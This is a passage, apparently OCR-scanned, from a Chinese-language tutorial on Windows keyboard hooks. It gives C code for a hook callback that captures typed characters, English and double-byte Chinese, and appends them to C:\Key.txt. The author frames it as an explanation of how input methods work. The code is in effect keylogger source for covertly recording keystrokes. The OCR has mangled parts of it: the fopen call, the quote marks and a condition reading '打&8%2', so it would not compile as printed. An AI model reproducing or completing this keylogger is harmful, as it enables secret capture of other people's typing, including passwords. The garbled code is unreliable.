FILE * fp; char szKey[80]={0}; fp=fopen Cc: \\Key. txt〃, 〃a+〃); if (wParam==PM_REMOVE)//该消息尚未从队列中删除。 { if(nCode==HC_ACTION) { if(pcw->message==WM_CHAR) { _ if (pcw->wParam<127) //英文 { szKey[0]=(TCHAR)(pcw->wParam); fwrite(szKey, sizeof(szKey), 1, fp); fputs(〃\r\n〃, fp); fclose(fp); } else //中文 {//这里需要注意了,汉字占两个字节,而钩子一次只能截一个字节, 所以//如果是中文,需要先把第一次的记录存下来,第二次再次截获后拼接起来,并且 顺序是颠//倒的 if ((打&8%2)==0)//判断为第一次 { temp=(pcw->wParam); } if ((打&8%2)==1)//判断为第二次 { fputc(pcw->wParam, fp) ;//保存第二次的 fputc (temp, fp) ;//再保存第一次的 fclose(fp); flag++; 这就是完整的钩子子程,经过多次实践,需要将后截获的编码作为高字节,先截获的作为低字节,这样才能还原这个汉字。 此外平时我们看见的输入法连打,有时能输入一个词有时能输入一句话,其实是输入法 本身做的一些手脚,其实处理的时候仍然是分解成单个字进行处理,所以我们的程序仍然能够正常截获。 好了到此我们的原理,目的都说清楚了,笔者旨在阐明输入法的处理原理,所以附带程序的健壮性有待考究,如有错误,欢迎指正。 |